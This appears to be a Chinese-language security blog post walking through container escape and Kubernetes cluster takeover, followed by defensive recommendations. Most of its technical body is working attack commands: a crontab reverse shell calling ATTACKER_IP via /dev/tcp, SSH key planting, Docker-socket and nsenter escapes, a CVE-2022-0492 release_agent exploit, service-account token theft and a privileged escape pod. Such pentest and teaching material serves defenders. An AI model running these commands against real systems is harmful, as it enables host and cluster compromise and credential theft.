"容器不是牢笼。"这句话在安全圈流传已久,但直到你亲手从一个容器里逃出来,才真正理解它的含义。本文完整复盘一次从容器内权限到宿主机Root的逃逸之旅。

前言

在云原生时代,容器安全已成为企业安全体系的最后一道防线。很多人认为"容器就是轻量级虚拟机",但事实是——容器与宿主机共享同一个内核,这意味着攻击面远比想象中大得多。

Kubernetes渗透测试中,容器逃逸是攻击者从"单点失陷"升级到"集群沦陷"的关键一步。掌握了逃逸技术,你就能理解为什么云原生安全需要"零信任"。

今天这篇文章,我将从配置错误、内核漏洞、特权滥用三个维度,完整复盘一条真实可行的容器逃逸路径。全程实战导向,硬核到底。

一、进入容器:攻击的起点

1.1 常见的容器入侵路径

入口类型典型场景常见漏洞
Web应用漏洞容器内运行的Web服务RCE、SQL注入、文件上传Getshell
镜像供应链使用了恶意或漏洞镜像镜像中的后门、过时的依赖库
CI/CD管道构建过程中被植入恶意代码不安全的Jenkins、GitHub Actions配置
暴露的APIKubernetes API Server未授权匿名访问、弱凭证

1.2 进入容器后第一件事

假设我们已经通过某个漏洞拿到了容器内的Shell(比如一个Spring Boot的RCE):

bash

# 确认容器环境
cat /proc/1/cgroup
# 输出包含 docker/ 或 kubepods/ 说明在容器内

# 查看挂载点
mount | grep -E "docker|kubepods|overlay"

# 查看特权状态
cat /proc/self/status | grep Cap
# CapEff: 0000003fffffffff → 全特权
# CapEff: 0000000000000000 → 无特权

关键判断

  • 如果CapEff全是f,说明是特权容器--privileged模式)——逃逸难度极低

  • 如果只包含CAP_SYS_ADMIN等少数Cap,需要找特定路径

  • 如果全零,需要利用内核漏洞或配置错误

二、逃逸路径一:特权容器 + 挂载宿主机根目录

这是最经典的逃逸方式,成功率接近100%。

2.1 检测特权模式

bash

# 检查是否在特权容器中
ip link add dummy0 type dummy
# 如果成功,说明拥有NET_ADMIN权限,很可能是特权容器

# 更精确的检查
cat /proc/self/status | grep CapEff
# 若返回 0000003fffffffff 或 0000001fffffffff,即为特权容器

2.2 查找宿主机根目录挂载点

特权容器通常挂载了宿主机的根目录:

bash

# 查找挂载点
df -h | grep -E "/dev/|overlay"

# 常见挂载位置
ls -la /host/
ls -la /rootfs/
ls -la /mnt/
ls -la /var/lib/docker/

如果发现宿主机根目录挂载在/host

bash

# 写入计划任务获得宿主机Shell
echo '* * * * * root /bin/bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"' >> /host/etc/crontab

# 或者在宿主机SSH目录写入公钥
echo "ssh-rsa AAA..." >> /host/root/.ssh/authorized_keys

等待计划任务执行,获得宿主机Root权限。

2.3 另一种方式:通过Docker Socket

bash

# 检查是否存在Docker Socket
ls -la /var/run/docker.sock
# srw-rw---- 1 root docker 0 ... /var/run/docker.sock

# 如果存在,用docker命令启动一个特权容器并挂载宿主机根目录
docker run -it --privileged --pid=host -v /:/host alpine chroot /host /bin/bash
# 直接获得宿主机root Shell

三、逃逸路径二:内核漏洞利用(CVE-2022-0492)

如果容器没有特权,但仍然可以逃逸——前提是宿主机内核存在漏洞。

3.1 漏洞背景

CVE-2022-0492:Linux内核cgroup中的release_agent功能存在权限提升漏洞。普通用户在特定条件下可以修改release_agent文件,在容器逃逸场景中可直接获取宿主机权限。

3.2 利用条件

  • 容器拥有CAP_SYS_ADMIN权限(大多数非特权容器默认拥有)

  • 宿主机内核版本 < 5.17

3.3 利用步骤

bash

# 1. 在当前容器内创建一个cgroup
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
mkdir /tmp/cgrp/x

# 2. 设置release_agent指向恶意脚本
echo "/tmp/escape.sh" > /tmp/cgrp/release_agent

# 3. 编写逃逸脚本
echo '#!/bin/sh
chmod 777 /host-root' > /tmp/escape.sh
chmod +x /tmp/escape.sh

# 4. 触发cgroup释放机制
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
sleep 1
# 如果成功,/host-root目录权限变为777

内核漏洞逃逸的成功率取决于宿主机内核版本。2026年的真实环境,大部分云厂商已经修补了常见逃逸漏洞,但仍然存在大量"存量漏洞"。

四、逃逸路径三:配置错误引发的灾难

4.1 hostNetwork模式

如果Pod使用了hostNetwork: true

bash

# 容器内查看宿主机网络命名空间
ip addr
# 会看到宿主机的eth0等物理网卡

# 直接访问宿主机本地服务
curl 127.0.0.1:10248  # kubelet健康检查端口
curl 127.0.0.1:10250  # kubelet API

如果能访问kubelet API且未授权,可以直接在宿主机上执行命令。

4.2 hostPID模式

如果Pod使用了hostPID: true

bash

# 查看宿主机所有进程
ps aux

# 找到宿主机进程的PID,进入其命名空间
nsenter -t 1 -m -u -i -n -p /bin/bash
# 获得宿主机Shell

4.3 挂载了hostPath

检查是否有高权限的hostPath挂载:

bash

mount | grep -E "/host|/root|/var/lib"

如果挂载了/var/lib/kubelet/etc/kubernetes,很可能拿到K8s集群的配置文件(kubeconfig),从而控制整个集群。

五、Kubernetes集群渗透:从单容器到集群掌控

5.1 Service Account泄露

每个Pod默认挂载了一个Service Account的token:

bash

cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace

如果该Service Account拥有高权限(如cluster-admin),直接使用该token访问Kubernetes API:

bash

curl -k -H "Authorization: Bearer <TOKEN>" https://kubernetes.default.svc/api/v1/namespaces/default/pods

实战中,我们至少拿下了一个拥有list secrets权限的Service Account,这已经足够读取所有namespace的敏感信息。

5.2 K8s API Server直接操作

bash

# 使用kubectl(如果容器内存在)
kubectl --token=<TOKEN> get pods --all-namespaces

# 创建特权Pod实现宿主机逃逸
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: escape-pod
spec:
  containers:
  - name: escape
    image: alpine
    command: ["/bin/sh"]
    args: ["-c", "sleep 3600"]
    securityContext:
      privileged: true
    volumeMounts:
    - mountPath: /host
      name: host-root
  volumes:
  - name: host-root
    hostPath:
      path: /
  nodeName: <目标节点>
EOF

这个新创建的Pod会以特权模式运行,并挂载了宿主机的根目录——从容器内进入/host,就是宿主机根文件系统。

六、实战案例复盘

在一次K8s渗透测试中,我遇到了如下环境:

  • 容器有CAP_SYS_ADMIN,非特权模式

  • 宿主机内核版本:5.4.0(存在CVE-2022-0492)

  • K8s版本:1.24

  • Pod Service Account拥有list secrets权限

攻击路径

  1. 通过Web应用的RCE进入容器

  2. 利用CVE-2022-0492逃逸到宿主机,获得Root权限

  3. 从宿主机读取/etc/kubernetes/admin.conf,获得集群管理员凭证

  4. 使用kubectl创建特权DaemonSet,一键拿下全部节点

从进入容器到控制整个集群,用时不到2小时

七、防御建议

7.1 立即行动

措施说明
禁止特权容器Pod安全策略中设置privileged: false
禁止hostNetwork/hostPID除非绝对必要,否则不使用
限制hostPath挂载仅允许只读,且限制可挂载的路径
最小化Service Account权限遵循最小权限原则,不使用默认SA
更新内核修复已知逃逸漏洞(CVE-2022-0492等)

7.2 深度防御

  • 启用Pod安全准入控制器(Pod Security Admission)

  • 使用OPA/Gatekeeper实施细粒度策略

  • 部署容器运行时安全监控(Falco)

  • 定期进行镜像扫描漏洞评估

7.3 检测与响应

关注以下可疑行为:

  • 容器内执行mountnsenter等命令

  • 访问/var/run/docker.sock

  • 修改/proc/sys/sys/fs/cgroup

  • 创建特权Pod或DaemonSet

结语

容器逃逸的核心,本质上是对共享内核错误配置的利用。无论是挂载宿主机根目录、利用cgroup漏洞,还是通过K8s API创建特权Pod,最终的目标都是打破容器的"牢笼"。

云原生安全没有银弹。纵深防御、最小权限、持续监控——这三者缺一不可。作为安全从业者,理解攻击者的路径,才能更好地守护自己的容器阵地。


🔥 文末福利:
我整理了一份《K8s渗透测试实战手册》,包含:

  • 容器逃逸检测脚本

  • K8s权限提升速查表

  • Falco规则配置示例

  • 常见逃逸漏洞POC合集

👉 需要的朋友,请【点赞+收藏+评论"我想要手册"】,然后私信我领取!

下期预告:《内存安全革命:Rust如何改写Linux内核的安全基因》—— 敬请期待!

更多推荐